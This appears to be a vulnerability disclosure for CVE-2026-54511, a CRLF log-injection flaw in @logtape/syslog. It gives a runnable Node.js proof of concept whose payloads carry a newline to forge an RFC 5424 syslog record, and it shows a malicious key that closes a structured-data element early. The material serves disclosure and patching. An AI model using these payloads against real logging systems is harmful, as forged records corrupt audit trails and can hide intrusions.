CVE-2026-54511: @logtape/syslog CRLF Log Injection via Unescaped C0 Control Characters

// Proof of concept: no dependencies, no network required
// Run with: node poc.mjs

function escapeStructuredDataValue(value) {
  return value
    .replace(/\\/g, "\\\\")
    .replace(/"/g, '\\"')
    .replace(/]/g, "\\]");
  // \n, \r, NUL, and all other C0 characters pass through unchanged
}

// Payload: legitimate value terminated by \n, then a forged RFC 5424 syslog header
const payload =
  'normal\n<134>1 2026-01-01T00:00:00Z forged evil - - - INJECTED';

const result = escapeStructuredDataValue(payload);
console.log("Newline still present after escape:", result.includes("\n")); // true
console.log("--- raw output that reaches the TCP stream ---");
console.log(result);
// Line 1 (original frame): [exampleSDID@32473 key="normal
// Line 2 (injected frame): <134>1 2026-01-01T00:00:00Z forged evil - - - INJECTED
// A downstream collector treats line 2 as an authentic syslog record.

// Second vector: invalid SD-NAME key containing ] closes the SD element early
const maliciousKey = 'x]"';
const sdElement = `[exampleSDID@32473 ${maliciousKey}="value"]`;
console.log("\nMalformed SD element:", sdElement);
// Output: [exampleSDID@32473 x]"="value"]  <- ] closes element prematurely